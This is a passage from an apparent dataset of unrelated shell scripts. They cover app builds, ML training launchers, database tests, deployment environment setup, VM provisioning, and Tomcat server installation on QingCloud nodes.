()\n{\n echo \"Optimizing for Mac\"\n # Remove Windows supporting package\n echo \"> Removing MemGator (Linux)\"\n rm ./dist/WAIL.app/bundledApps/memgator-linux-amd64\n echo \"> Removing MemGator (Window)\"\n rm ./dist/WAIL.app/bundledApps/memgator-windows-amd64.exe\n echo \"> Removing Java (Windows)\"\n rm -rf ./dist/WAIL.app/bundledApps/Java/Windows\n if [[ $(uname -p) == 'i386' ]]; then\n echo \"> Removing MemGator (Apple Silicon)\"\n rm ./dist/WAIL.app/bundledApps/memgator-darwin-arm64\n chmod 755 ./dist/WAIL.app/bundledApps/memgator-darwin-amd64\n else\n echo \"> Removing MemGator (pre-Apple Silicon)\"\n rm ./dist/WAIL.app/bundledApps/memgator-darwin-amd64\n chmod 755 ./dist/WAIL.app/bundledApps/memgator-darwin-arm64\n fi\n}\n\nbuildDiskImage ()\n{\n echo \"Building Disk Image\"\n # Create a dmg\n dmgbuild -s ./build/dmgbuild_settings.py \"WAIL\" WAIL.dmg\n}\n\ntweakOS ()\n{\n echo \"Tweaking OS file associations\"\n # Instruct the system to update the version string\n defaults read /Applications/WAIL.app/Contents/Info.plist > /dev/null\n\n # Associate defined file types with WAIL\n /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -f /Applications/WAIL.app\n}\n\nmakeWAIL ()\n{\n echo \"Running makeWAIL()\"\n installRequirements\n createBinary\n mvWARCsToTemp\n deleteBinary # Remove previous version\n optimizeforMac\n mvProducts\n cleanupByproducts\n mvWARCsBackFromTemp\n\n # install binary, create dmg, or both? (i/d/b)\n\n # Just build dmg, delete binary, no system tweaks required\n if [[ $ans == \"b\" ]] || [[ $ans == \"d\" ]]; then\n buildDiskImage\n if [[ $ans = \"d\" ]]; then # Remove the installed binary if only making dmg\n deleteBinary\n fi\n fi\n\n if [[ $ans = \"i\" ]] || [[ $ans = \"d\" ]]; then # Tweak system for binary\n tweakOS\n fi\n #killall Finder\n\n #cleanup\n #rm -r dist\n #rm WAIL.spec\n #rm -r build\n}\n\nmain \"$@\"; exit"} {"text": "#!/usr/bin/env bash\n\nset -eo pipefail\nPWD=$(dirname \"$(readlink -f \"$0\")\")\n\nsource ./bscp.env\n\n# render server config templates.\neval \"cat < ../bk-bscp-apiserver/etc/server.yaml\n\neval \"cat < ../bk-bscp-authserver/etc/server.yaml\n\neval \"cat < ../bk-bscp-patcher/etc/server.yaml\n\neval \"cat < ../bk-bscp-patcher/etc/cron.yaml\n\neval \"cat < ../bk-bscp-configserver/etc/server.yaml\n\neval \"cat < ../bk-bscp-templateserver/etc/server.yaml\n\neval \"cat < ../bk-bscp-datamanager/etc/server.yaml\n\neval \"cat < ../bk-bscp-gse-controller/etc/server.yaml\n\neval \"cat < ../bk-bscp-tunnelserver/etc/server.yaml"} {"text": "#!/bin/bash\n\n# experiments and datasets meta\nEXPERIMENTS_HOME=/data/dataA/experiments\n#EXPERIMENTS_HOME=/data/vimb01/experiments\n\n# model and checkpoint\nMODEL=PWCExpertLinAddNetWOX1\nEVAL_LOSS=MultiScaleAdaptiveEPE_PWC\nCHECKPOINT=None\nSIZE_OF_BATCH=8\n\n# save path\nTIME=$(date +\"%Y%m%d-%H%M%S\")\nSAVE_PATH=\"$EXPERIMENTS_HOME/expert_CTKS_linAdd01_$MODEL-$TIME\"\nSAVE_EVERY=1\n\n# set cuda GPU ids\nexport CUDA_VISIBLE_DEVICES=0\n\n# training configuration\npython ../main.py \\\n--batch_size=$SIZE_OF_BATCH \\\n--batch_size_val=1 \\\n--checkpoint=$CHECKPOINT \\\n--lr_scheduler=MultiStepLR \\\n--lr_scheduler_gamma=0.5 \\\n--lr_scheduler_milestones=\"[30, 40, 50]\" \\\n--model=$MODEL \\\n--model_num_experts=4 \\\n--model_expert_weight=0.1 \\\n--num_workers=4 \\\n--optimizer=Adam \\\n--optimizer_lr=1e-4 \\\n--optimizer_weight_decay=4e-4 \\\n--save=$SAVE_PATH \\\n--save_every_nth_checkpoint=$SAVE_EVERY \\\n--total_epochs=60 \\\n--training_sampler=CTSKTrainDatasetBatchSampler \\\n--training_iters_per_epoch=10000 \\\n--training_augmentation=RandomAffineFlowAdaptive \\\n--training_dataset=CTSKTrain \\\n--training_dataset_photometric_augmentations=True \\\n--training_key=total_loss \\\n--training_loss=$EVAL_LOSS \\\n--validation_dataset=CTSKValid \\\n--validation_dataset_photometric_augmentations=False \\\n--validation_key=epe \\\n--validation_loss=$EVAL_LOSS"} {"text": "scripts/libjpeg_build_android.sh\n#!/bin/bash\n\nset -e\ncd \"$( dirname \"${BASH_SOURCE[0]}\" )\" >/dev/null 2>&1\n\nsource ../ndk_paths.sh\nTOOLCHAIN=\"clang\"\nINSTALL_DIR=\"$(pwd)/../build\"\nPATH_TO_LIBJPEG_TURBO=\"../libs/libjpeg-turbo/\"\n\ncd ${PATH_TO_LIBJPEG_TURBO}\n\nfunction build_for_arch() {\n\tINSTALL_LOC=\"${INSTALL_DIR}/${1}/install/usr/local\"\n\tif ! test -e \"${INSTALL_LOC}/lib/libjpeg.a\"; then\n\t\tmkdir -p build/${1}\n\t\tcd build/${1}\n\t\t#export CFLAGS=\"$CFLAGS -fPIC -Os -flto\"\n\t\texport CFLAGS=\"$CFLAGS -fPIC\"\n\t\tcmake -G\"Unix Makefiles\" \\\n\t\t\t-DANDROID_ABI=${3} ${4}\\\n\t\t\t-DANDROID_PLATFORM=android-${2} \\\n\t\t\t-DANDROID_TOOLCHAIN=${TOOLCHAIN} \\\n\t\t\t-DCMAKE_ASM_FLAGS=\"--target=${1}${2}\" \\\n\t\t\t-DCMAKE_TOOLCHAIN_FILE=${NDK}/build/cmake/android.toolchain.cmake \\\n\t\t\t-DCMAKE_INSTALL_PREFIX=${INSTALL_LOC} \\\n\t\t\t-DENABLE_SHARED=0 \\\n\t\t\t-DENABLE_STATIC=1 \\\n\t\t\t../../\n\t\tmake -j4\n\t\tmake install\n\t\tcd ../..\n\tfi\n}\n\nbuild_for_arch armv7a-linux-androideabi 21 armeabi-v7a \"-DANDROID_ARM_MODE=arm\"\nbuild_for_arch aarch64-linux-android 21 arm64-v8a \"-DANDROID_ARM_MODE=arm\"\nbuild_for_arch i686-linux-android 21 x86 \"\"\nbuild_for_arch x86_64-linux-android 21 x86_64 \"\""} {"text": "sorrowless/ansible_prometheus\n#!/bin/bash\n\nPORT=\"${1:-9656}\"\nOUT=$(geth attach http://localhost:${PORT} --exec \"eth.pendingTransactions.length\" 2>/dev/null)\nRC=$?\nRESULT=-1\n\nif [[ $RC -eq 0 ]]; then\n RESULT=${OUT}\nfi\necho \"{ \\\"pending_transactions\\\": ${RESULT} }\""} {"text": "#!/usr/bin/env bash\n\nCURDIR=$(cd \"$(dirname \"${BASH_SOURCE[0]}\")\" && pwd)\n. $CURDIR/../shell_config.sh\n\n$CLICKHOUSE_CLIENT -n --ignore-error --query=\"\nDROP TABLE IF EXISTS test.test1;\nDROP TABLE IF EXISTS test.test2;\nDROP TABLE IF EXISTS test.test3;\n\nCREATE TABLE test.test1 ( id String ) ENGINE = StripeLog;\nCREATE TABLE test.test2 ( id String ) ENGINE = StripeLog;\nINSERT INTO test.test2 VALUES ('a');\nCREATE TABLE test.test3 ( id String, name String ) ENGINE = StripeLog;\nINSERT INTO test.test3 VALUES ('a', 'aaa');\n\nINSERT INTO test.test1 SELECT id, name FROM test.test2 ANY INNER JOIN test.test3 USING (id);\nINSERT INTO test.test1 SELECT id, name FROM test.test2 ANY LEFT OUTER JOIN test.test3 USING (id);\n\nDROP TABLE test.test1;\nDROP TABLE test.test2;\nDROP TABLE test.test3;\n\" --server_logs_file=/dev/null 2>&1 | grep -F \"Number of columns doesn't match\" | wc -l\n\n$CLICKHOUSE_CLIENT --query=\"SELECT 1\";"} {"text": "#!/usr/bin/env bash\n#\n# FreeSwitch\n# TTS Voice Prompt Generator\n# - Identify potentially deprecated voice prompts -\n#\n# Copyright (c) 2013, <>\n# See LICENSE file for details.\n#\n\nif [ ! -d input/en ]; then\n\techo \"English voice prompt text files not found in input/en. Aborting ...\"\n\texit 1\nfi\n\nif [ x\"$1\" == x\"\" ]; then\n\techo \"Paramter missing: locale. Aborting ...\"\n\texit 1\nfi\n\nif [ ! -d \"./input/$1\" ]; then\n\techo \"Locale directory not found in ./input/$1. Aborting ...\"\n\texit 1\nfi\n\nLIST_LOCALE=\"`find ./input/$1 -type f -name \"*.txt\"`\"\n\necho -e \"\\n\\nThe following files were not found in english language and might be deprecated for this language also:\\n(if they are not $1 language specific)\\n\"\n\nfor FILE in $LIST_LOCALE; do\n\tBASENAME=\"${FILE#.*/}\"\n\tFILENAME=\"${BASENAME%%.*}\"\n\tFILENAME_FLAT=\"${FILENAME#*/}\"\n\tFILENAME_FLAT=\"${FILENAME_FLAT#*/}\"\n\n\tif [ -e input/$1/locale_specific_texts.txt ]; then\n\t\tWHITELIST=\"`cat input/$1/locale_specific_texts.txt | grep ${FILENAME_FLAT}`\"\n\telse\n\t\tWHITELIST=\"\"\n\tfi\n\n\tif [[ ! -e input/en/${FILENAME_FLAT}.txt && x\"${WHITELIST}\" == x\"\" && x\"${FILENAME_FLAT}\" != x\"locale_specific_texts\" ]]; then\n\t\techo \"$FILENAME_FLAT\"\n\tfi\ndone\n\necho -e \"\\nTo suppress files from this list (e.g. for language specific files) you may add them to input/$1/locale_specific_texts.txt.\\n\""} {"text": "packages/package-scripts/scripts/deploy-env.sh\n#!/bin/sh\n\n#\n# Exports deployment configuration as environment variables.\n#\n# The deployment stage is identified based on the git tag:\n# * Untagged commits go to staging.\n# * Prerelease tags go to prerelease.\n# * Other tags go to production.\n# \n# Arguments after the end of options (identified by \"--\") are executed as\n# command, which inherits the exported variables.\n#\n# Usage: ./deploy-env.sh [-- command args...]\n#\n\nset -e\n\nexport NODE_ENV=production\n\n# Define AWS IAM deployment role and S3 bucket name:\nROLE=\"$(jq -r '.config.deployProfile' package.json)\"\nexport ROLE\n\nPUBLIC_BUCKET=\"$(jq -r '.config.publicS3Bucket' package.json)\"\nexport PUBLIC_BUCKET\n\n# Store the current working directory:\nCWD=\"$PWD\"\n\ncd \"$(dirname \"$0\")/..\"\n\n# Retrieve the project name from the (scoped) package name:\nPROJECT=\"$(jq -r '.name | split(\"/\")[-1]' package.json)\"\nexport PROJECT\n\nif [ -z \"${STAGE}\" ]; then\n # Retrieve the tag for the current commit:\n TAG=\"$(git describe --exact-match --tags 2> /dev/null || true)\"\n export TAG\n\n # Restore the working directory:\n cd \"$CWD\"\n\n case \"$TAG\" in\n '') STAGE=staging;;\n *-*) STAGE=prerelease;;\n *) STAGE=production;;\n esac\n export STAGE\nfi\n\n# Execute the given command:\nif [ \"$1\" = -- ]; then shift; exec \"$@\"; fi"} {"text": "#!/bin/bash\n\ng++ -std=c++11 -o o.o buffonNedlee.cpp\n\nk=\"\\n\"\nj=100\nf=99\n\nfor q in 1 2 3 4 5 6 7 8 9 10\ndo\n\tfor i in 100 1000 10000 100000 1000000 10000000 100000000 100000000\n\tdo\n\t ./o.o $i $j $f #>> prueba.csv \n\tdone\n\techo $k #>> prueba.csv\ndone"} {"text": "#!/bin/bash\ncd src/lib/dll_hook && cargo build && cd -\ncargo build\n\n#docker build -t docker-wine .\n#docker build --no-cache -t docker-wine .\n#./docker-wine \\\n# --local=docker-wine \\\n# --home-volume=/media/data/supermemo \\\n# /run.sh\n\n #wine C:/Users/wineuser/ollydbg.exe & && wine /main.exe\n#./docker-wine --local=docker-wine wine C:/Users/wineuser/ollydbg.exe\n #wine C:/Users/wineuser/ollydbg.exe\n\ncp src/lib/dll_hook/target/i686-pc-windows-gnu/debug/dll_hook.dll /media/data/supermemo/.wine/drive_c/users/wineuser/hook.dll\ncp target/i686-pc-windows-gnu/debug/foobar.exe /media/data/supermemo/.wine/drive_c/users/wineuser/main.exe\n\nexport WINEPREFIX=/media/data/supermemo/.wine; wine /media/data/supermemo/.wine/drive_c/users/wineuser/main.exe"} {"text": "#!/bin/bash \nA=`ps -C nginx –no-header |wc -l` \nif [ $A -eq 0 ];then \n /usr/local/nginx/sbin/nginx \n sleep 2 \n if [ `ps -C nginx --no-header |wc -l` -eq 0 ];then \n killall keepalived \n fi \nfi"} {"text": "bash_scripts/imitation_convergence.sh\n#!/bin/bash\npython -m egg.zoo.imitation_learning.imitation_pressure \\\n --n_values 10 \\\n --n_attributes 2 \\\n --vocab_size 100 \\\n --max_len 3 \\\n --batch_size 512 \\\n --sender_cell gru \\\n --receiver_cell gru \\\n --hidden 500 \\\n --n_epochs 50 \\\n --n_turns 20 \\\n --save True \\\n --early_stopping_thr 0.9 \\\n --kick imitation \\\n --turn_taking convergence \\\n --tensorboard False \\\n --checkpoint_dir checkpoints/imitation/conv/ \\\n# --tensorboard_dir runs/imitation/random/"} {"text": "1-10\n#!/bin/bash\n\n~/Programming/virtualenvs/learning/bin/ipython"} {"text": "1-10\n#!/bin/bash\npackage_version=regsource3\npackage_name=article-quality\npackage_full_name=$package_name-$package_version\npackage_file_name=$package_full_name.tar.gz\nmodel_name=lstm_training\n\n#todo: read model_name and package_name from per folder config\npython setup.py sdist $package_name $package_version\n\nfds -m delete -b training -o packages/$package_file_name \ncloudml jobs delete $package_full_name\nsleep 6\n\nfds -m put -b training -o packages/$package_file_name -d dist/$package_file_name\n\ncloudml jobs submit -n $package_full_name -m $model_name -a\"-n $package_full_name --iscloud\" -g 1 -M 2G -u fds://training/packages/$package_file_name"} {"text": "0\n#!/bin/bash\n# Testuje soubor heating.dat a kdyz se lisi hodnota 'heating' od minule, tak\n# to zaznamena v databazi a ulozi aktualni hodnotu pro pristi porovnani.\n# Struktura souboru heating.dat je timestamp:value\n# Timestamp je int (unix epoch) a value je 0 nebo 1 (vypnuto / zapnuto)\n\nHOME_PATH=$POLTERGEIST_HOME\n\nACTUAL_DATA_FILE_NAME=$HOME_PATH/heating.dat\nLAST_DATA_FILE_NAME=$HOME_PATH/heating.old\nLOG_FILE=/var/log/poltergeist/heating.log\n\nif [ ! -f $ACTUAL_DATA_FILE_NAME ]; then\n (>&2 echo \"File $LAST_DATA_FILE_NAME not found!\")\n exit 1\nfi\n\nif [ ! -f $LAST_DATA_FILE_NAME ]; then\n echo \"File $LAST_DATA_FILE_NAME not found, creating.\"\n cp $ACTUAL_DATA_FILE_NAME $LAST_DATA_FILE_NAME\n exit 0\nfi\n\n# parse 1st field\nDATA_TIMESTAMP=$(cut -f1 -d: $ACTUAL_DATA_FILE_NAME)\n\nre='^[0-9]+$'\nif ! [[ $DATA_TIMESTAMP =~ $re ]] ; then\n # File with timestamp is probably empty, exiting silently\n exit 0\nfi\n\n# parse 2nd field\nACTUAL_DATA=$(cut -f2 -d: $ACTUAL_DATA_FILE_NAME)\nLAST_DATA=$(cut -f2 -d: $LAST_DATA_FILE_NAME)\n\n# evaluate\nif [ \"$ACTUAL_DATA\" != \"$LAST_DATA\" ]; then\n TEXT=\"Skript '$0': Neznámá hodnota\"\n TEXT_DATE=$(date -d @$DATA_TIMESTAMP +'Topení %Y-%m-%d v %H:%M')\n (echo $ACTUAL_DATA | grep -Eq ^0.*) && TEXT=\"$TEXT_DATE vypnuto\"\n (echo $ACTUAL_DATA | grep -Eq ^1.*) && TEXT=\"$TEXT_DATE ZAPNUTO\"\n # save this change for future comparision\n cp $ACTUAL_DATA_FILE_NAME $LAST_DATA_FILE_NAME\n\n # log\n echo $(date +%s),$ACTUAL_DATA >>$LOG_FILE\nfi"} {"text": "package set summary \"Compression program with a very high compression ratio\"\npackage set webpage \"http://lrzip.kolivas.org\"\npackage set src.git \"https://github.com/ckolivas/lrzip.git\"\npackage set src.url \"http://ck.kolivas.org/apps/lrzip/lrzip-0.641.tar.xz\"\npackage set src.sum \"2c6389a513a05cba3bcc18ca10ca820d617518f5ac6171e960cda476b5553e7e\"\npackage set license \"GPL-2.0\"\npackage set dep.pkg \"zlib bzip2 lz4 lzo\"\npackage set dep.cmd \"pkg-config\"\npackage set bsystem \"configure\"\npackage set ldflags \"-lc++_shared\"\n\n# stdio.h:326:FILE* fmemopen(void* __buf, size_t __size, const char* __mode) __INTRODUCED_IN(23);\npackage set sdk.api 23\n\nprepare() {\n sed_in_place '/-lpthread /d' configure\n}\n\nbuild() {\n #check_if_ffsl_exists &&\n configure \\\n --enable-static-bin=yes \\\n --disable-asm \\\n ac_cv_lib_pthread_pthread_create=yes\n}\n\ncheck_if_ffsl_exists() {\n if [ \"$TARGET_INDEX\" -eq 1 ] ; then\n cat > $BUILD_DIR/test.c <<'EOF'\n #include\n int main() {\n ffsll(1);\n return 0;\n }\nEOF\n $CC $CPPFLAGS $CFLAGS $LDFLAGS $BUILD_DIR/test.c 2>/dev/null || {\n sed_in_place '1i static int ffsll(long long value);' \"$SOURCE_DIR/rzip.c\" &&\n cat >> \"$SOURCE_DIR/rzip.c\" <<'EOF'\n // https://linux.die.net/man/3/ffsll\n static int ffsll(long long value) {\n if (0 == value) return 0;\n\n int pos;\n for (pos = 1; !(value & 1); ++pos) {\n value >>= 1;\n }\n return pos;\n }\nEOF\n }\n fi\n}"} {"text": "#! /bin/sh\n\nset -e\n\necho \"Running s3cmd ...\"\n\nif [ \"${SCHEDULE}\" = \"**None**\" ]; then\n aws \"$@\"\nelse\n exec go-cron \"$SCHEDULE\" aws \"$@\"\nfi"} {"text": "#!/bin/bash\n\nset -e\n\nmake clean\nmake gitignore\nmkdir -p out\n\n# Do the right thing if the source and alignment are empty\n\nnnjm-genex.py -voc out/voc1 input/ex1.{f,e,wal} > out/ex1.out\ndiff -q {out,ref}/ex1.out\ndiff -q {out,ref}/voc1.src\ndiff -q {out,ref}/voc1.tgt\ndiff -q {out,ref}/voc1.out\necho \"PASS: empty source and alignment\"\n\n# Standard usage, no tags files\n\nnnjm-genex.py -voc out/voc2 input/ex2.{f,e,wal} > out/ex2.out\ndiff -q {out,ref}/ex2.out \ndiff -q {out,ref}/voc2.src\ndiff -q {out,ref}/voc2.tgt\ndiff -q {out,ref}/voc2.out\necho \"PASS: no tags files\"\n\n# Small voc to force tag usage\n\nnnjm-genex.py -voc out/voc3 \\\n -isv 5 -itv 5 -ov 10 -stag input/ex3.f.tag -ttag input/ex3.e.tag \\\n input/ex3.{f,e,wal} > out/ex3.out\ndiff -q {out,ref}/ex3.out\ndiff -q {out,ref}/voc3.src\ndiff -q {out,ref}/voc3.tgt\ndiff -q {out,ref}/voc3.out\necho \"PASS: tags with small voc sizes\"\n\n# Read-voc mode\n\nnnjm-genex.py -r -voc ref/voc3 -stag input/ex3.f.tag -ttag input/ex3.e.tag \\\n input/ex3.{f,e,wal} > out/ex4.out\ndiff -q {out,ref}/ex4.out\necho \"PASS: read voc mode\""} {"text": "#!/usr/bin/env bash\n#\n# build up vm's running detektiven\n#\n# !!! all params are in \"./defaults\", change there if needed\n#\n# ! WARNING installing virsh if not found\n#\n# vm's:\n# infra\n# 1. freeipa\n# 2. metrix\n# 3. syslog\n# workers\n# 1. clamav\n# 2. tika\n# 3. solr\n# 4. ...\n\nlog() { echo \"$(date) $0: $*\"; }\ndie() { log \"$*\" >&2; exit 1; }\n\n# apt or dnf\napt --help > /dev/null 2>&1\n[ $? -eq 0 ] && DANPFT='apt'\ndnf --help > /dev/null 2>&1\n[ $? -eq 0 ] && DANPFT='dnf'\n[ -z ${DANPFT} ] && die 'no apt nor dnf'\n\n# current working directory\nSCRIPTS=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\n# load params\nDEFAULTS=\"${SCRIPTS}/defaults\"\n[ -f ${DEFAULTS} ] || die \"missing ${DEFAULTS}\"\nsource ${DEFAULTS}\n\n# ensure we have virsh and friends\n[ -f ${SCRIPTS}/common/ensure-Virsh.bash ] || die \"missing ${SCRIPTS}/common/ensure-Virsh.bash\"\nbash ${SCRIPTS}/common/ensure-Virsh.bash $IMAGESDIR ${TLD} ${ORG} || die \"no working virtualization\"\n\n# ensure working IDM server\n[ -f ${SCRIPTS}/common/ensure-IDM.bash ] || die \"missing ${SCRIPTS}/common/ensure-IDM.bash\"\nbash ${SCRIPTS}/common/ensure-IDM.bash || die \"no working IDM on ${IPA}.${IDM}.${ORG}.${TLD}\"\n\n# ensure working syslog server\n[ -f ${SCRIPTS}/common/ensure-syslog.bash ] || die \"missing ${SCRIPTS}/common/ensure-syslog.bash\"\nbash ${SCRIPTS}/common/ensure-syslog.bash || die \"no working syslog on ${LOGSERVER}\"\n\n# ensure working metrix server\n[ -f ${SCRIPTS}/common/ensure-Metrix.bash ] || die \"missing ${SCRIPTS}/common/ensure-Metrix.bash\"\nbash ${SCRIPTS}/common/ensure-Metrix.bash || die \"no working metrix on ${INFLUXSERVER}\"\n\n\n# load vm helpers\nVMHELPERS=\"${SCRIPTS}/common/vmHelpers.bash\"\n[ -f ${VMHELPERS} ] || die \"missing ${VMHELPERS}\"\nsource ${VMHELPERS}\n\n# set hosts\n\nsed -i '/^# BEGIN DETECTIVEN CORE HOSTS/,/^# END DETECTIVEN CORE HOSTS/ d' /etc/hosts\ncat <>/etc/hosts\n# BEGIN DETECTIVEN CORE HOSTS\n# created $(date) with $0\n$(vm_getip ${IDMSERVER}) ${IDMSERVER}\n$(vm_getip ${LOGSERVER}) ${LOGSERVER}\n$(vm_getip ${INFLUXSERVER}) ${INFLUXSERVER}\n# END DETECTIVEN CORE HOSTS\nEOF\n# send SIGHUP to dnsmasq\nvirsh net-update default add dns-host 'blah.laine.org' --live --config\n\n# prepare java dummy\n[ -z ${DUMMY} ] && die \"no DUMMY\"\nNAME=\"${DUMMY}-java\"\nif ! vm_exists ${NAME}; then\n [ -z ${SSHUSER} ] && die \"no SSHUSER\"\n KEYFILE=\"${SSHUSER}.key\"\n [ -f ${KEYFILE} ] || die \"no key file ${KEYFILE} for user ${SSHUSER}\"\n INSTALLSCRIPT=\"${SCRIPTS}/common/ensure-java.bash\"\n [ -f ${INSTALLSCRIPT} ] || die \"missing ${INSTALLSCRIPT}\"\n log \"creating new ${NAME} from ${DUMMY}\"\n vm_clone ${DUMMY} ${NAME} ${SSHUSER} || die \"failed to clone from ${DUMMY}\"\n vm_start ${NAME} > /dev/null || die \"failed to start ${NAME}\"\n ip=$(vm_getip ${NAME}) || die \"failed to get ip for ${NAME}\"\n vm_waitforssh ${NAME} ${USER}.key ${USER} > /dev/null || die \"failed ssh to ${NAME}\"\n scp -i ${USER}.key ${INSTALLSCRIPT} ${USER}@${ip}:\n ssh -i ${USER}.key ${USER}@${ip} \"sudo bash $(basename ${INSTALLSCRIPT})\"\n [ $? -ne 0 ] && die \"failed install ${INSTALLSCRIPT}\"\n vm_stop ${NAME}\nfi\n\n# prepare nodejs dummy\nNAME=\"${DUMMY}-nodejs\"\nif ! vm_exists ${NAME}; then\n [ -z ${SSHUSER} ] && die \"no SSHUSER\"\n KEYFILE=\"${SSHUSER}.key\"\n [ -f ${KEYFILE} ] || die \"no key file ${KEYFILE} for user ${SSHUSER}\"\n INSTALLSCRIPT=\"${SCRIPTS}/common/ensure-nodejs.bash\"\n [ -f ${INSTALLSCRIPT} ] || die \"missing ${INSTALLSCRIPT}\"\n log \"creating new ${NAME} from ${DUMMY}\"\n vm_clone ${DUMMY} ${NAME} ${SSHUSER} || die \"failed to clone from ${DUMMY}\"\n vm_start ${NAME} > /dev/null || die \"failed to start ${NAME}\"\n ip=$(vm_getip ${NAME}) || die \"failed to get ip for ${NAME}\"\n vm_waitforssh ${NAME} ${USER}.key ${USER} > /dev/null || die \"failed ssh to ${NAME}\"\n scp -i ${USER}.key ${INSTALLSCRIPT} ${USER}@${ip}:\n ssh -i ${USER}.key ${USER}@${ip} \"sudo bash $(basename ${INSTALLSCRIPT})\"\n [ $? -ne 0 ] && die \"failed install ${INSTALLSCRIPT}\"\n vm_stop ${NAME}\nfi\n\n# tika\n\nbash fedora/enrollFedoraGuest.bash common/install-tika.bash tika.${ORG}.${TLD} fedora-dummy-java\ncurl $(vm_getip tika.${ORG}.${TLD}):9998 || die \"tika tika.${ORG}.${TLD} not listening on $(vm_getip tika.${ORG}.${TLD})\"\n\n# solr\n\nbash fedora/enrollFedoraGuest.bash common/install-solr.bash solr.${ORG}.${TLD} fedora-dummy-java\ncurl $(vm_getip solr.${ORG}.${TLD}):8983/solr/ || die \"solr solr.${ORG}.${TLD} not listening on $(vm_getip solr.${ORG}.${TLD})\""} {"text": "#! /bin/bash\n\nnode_type=$1\n\n# all nodes\nunalias cp\n\nyum install -y gcc\nyum install -y python-devel\necho \"install qing agent\"\ncurl -o agent.tar.gz http://appcenter-docs.qingcloud.com/developer-guide/scripts/app-agent-linux-amd64.tar.gz\ntar -xvf agent.tar.gz\ncd /opt/app-agent-linux-amd64/\n./install.sh\nrm -rf agent.tar.gz\ncd /opt\n\nmkdir Tomcat\ntar -xvf Tomcat.tar.gz -C /opt/Tomcat\nrm -rf Tomcat.tar.gz\n\necho \"modify the max notify limit\"\n#mv /etc/sysctl.d/max-users-watch.conf /etc/sysctl.d/max-users-watch.conf_bak\ncp /opt/Tomcat/configuration/max-users-watch.conf /etc/sysctl.d\nsysctl --system\n\necho \"modify ulimit\"\necho -ne \" \n* soft nofile 65536 \n* hard nofile 65536 \n\" >>/etc/security/limits.conf \n\nmv /etc/security/limits.conf /etc/security/limits.conf_bak\ncp /opt/Tomcat/configuration/limits.conf /etc/security\n\necho \"install zip unzip\"\nyum -y install zip unzip\n\necho \"install net tools\"\nyum -y install net-tools\n\n\n# tomcat node\nif [ $node_type == \"tomcat\" ]\nthen\n echo \"instal rsync\"\n yum install -y rsync\n\n echo \"install wget\"\n yum -y install wget\n\n cd /opt/Tomcat\n echo \"install openjdk7\"\n #yum -y install java-1.8.0-openjdk\n curl -o jdk7.tar.gz https://download.java.net/openjdk/jdk7u75/ri/openjdk-7u75-b13-linux-x64-18_dec_2014.tar.gz\n tar -xvf jdk7.tar.gz\n rm -rf jdk7.tar.gz\n echo \"install openjdk8\"\n curl -o jdk8.tar.gz https://download.java.net/java/jdk8u172/archive/b03/binaries/jre-8u172-ea-bin-b03-linux-x64-18_jan_2018.tar.gz\n tar -xvf jdk8.tar.gz\n rm -rf jdk8.tar.gz\n echo \"install openjdk9\"\n curl -o jdk9.tar.gz https://download.java.net/java/GA/jdk9/9.0.4/binaries/openjdk-9.0.4_linux-x64_bin.tar.gz\n tar -xvf jdk9.tar.gz\n rm -rf jdk9.tar.gz\n\n echo \"install tomcat7\"\n curl -o tomcat.tar.gz http://mirrors.shu.edu.cn/apache/tomcat/tomcat-7/v7.0.85/bin/apache-tomcat-7.0.85.tar.gz\n tar -xvf tomcat.tar.gz\n rm -rf tomcat.tar.gz\n\n echo \"install tomcat8\"\n curl -o tomcat.tar.gz http://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-8/v8.5.28/bin/apache-tomcat-8.5.28.tar.gz\n tar -xvf tomcat.tar.gz\n rm -rf tomcat.tar.gz\n\n echo \"install tomcat9\"\n curl -o tomcat.tar.gz http://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.5/bin/apache-tomcat-9.0.5.tar.gz\n tar -xvf tomcat.tar.gz\n rm -rf tomcat.tar.gz\n\n echo \"deploy scripts and templates\"\n\n mkdir /var/log/tomcat\n mkdir /tmp/war-listen\n mkdir /tmp/war-temp\n mkdir /root/.qingstor\n\n\n echo \"install pyinotify\"\n tar -xvf /opt/Tomcat/configuration/tomcat_node/pyinotify.tar.gz\n cd /opt/Tomcat/configuration/tomcat_node/pyinotify\n python setup.py install\n cd /opt\n rm -rf pyinotify.tar.gz\n rm -rf pyinotify/\n cp /opt/Tomcat/configuration/tomcat_node/tomcat_gc_log.conf /etc/rsyslog.d\n chmod +x /opt/Tomcat/scripts/*.sh\n mv /opt/apache-tomcat-7.0.85/bin/catalina.sh /opt/apache-tomcat-7.0.85/bin/catalina.sh_bak\n cp /opt/Tomcat/scripts/*.sh /opt/apache-tomcat-7.0.85/bin\n cp /opt/Tomcat/scripts/*.py /opt/apache-tomcat-7.0.85/bin\n rm -rf /opt/apache-tomcat-7.0.85/bin/catalina.properties\n cp /opt/Tomcat/catalina.properties /opt/apache-tomcat-7.0.85/conf\n cp /opt/Tomcat/lib/*.jar /opt/apache-tomcat-7.0.85/lib\n rm -rf /opt/apache-tomcat-7.0.85/lib/tomcat-juli.jar\n mv /opt/apache-tomcat-7.0.85/bin/tomcat-juli.jar /opt/apache-tomcat-7.0.85/bin/tomcat-juli.jar_bak\n cp /opt/Tomcat/lib/tomcat-juli.jar /opt/apache-tomcat-7.0.85/bin/\n mv /opt/apache-tomcat-7.0.85/conf/logging.properties /opt/apache-tomcat-7.0.85/conf/logging.properties_bak\n cp /opt/Tomcat/code/tomcat_node/conf.d/*.toml /etc/confd/conf.d\n cp /opt/Tomcat/code/tomcat_node/template/*.tmpl /etc/confd/templates\n rm -rf /opt/Tomcat\n\n echo \"install pip\"\n curl \"https://bootstrap.pypa.io/get-pip.py\" -o \"get-pip.py\"\n python get-pip.py\n\n echo \"install qsctl\"\n pip install qsctl -U\n rm -rf /opt/get-pip.py\nfi\n\n# log server node\nif [ $node_type == \"log\" ]\nthen \n cd /opt\n mv /etc/rsyslog.conf /etc/rsyslog.conf_bak\n cp /opt/Tomcat/configuration/log_node/rsyslog.conf /etc/\n cp /opt/Tomcat/code/log_node/conf.d/*.toml /etc/confd/conf.d\n cp /opt/Tomcat/code/log_node/template/*.tmpl /etc/confd/templates\n rm -rf /opt/Tomcat\nfi\n\n#jenkins node\n#wget -O /etc/yum.repos.d/jenkins.repo http://pkg.jenkins-ci.org/redhat/jenkins.repo\n#rpm --import https://jenkins-ci.org/redhat/jenkins-ci.org.key\n#yum install jenkins"} {"text": 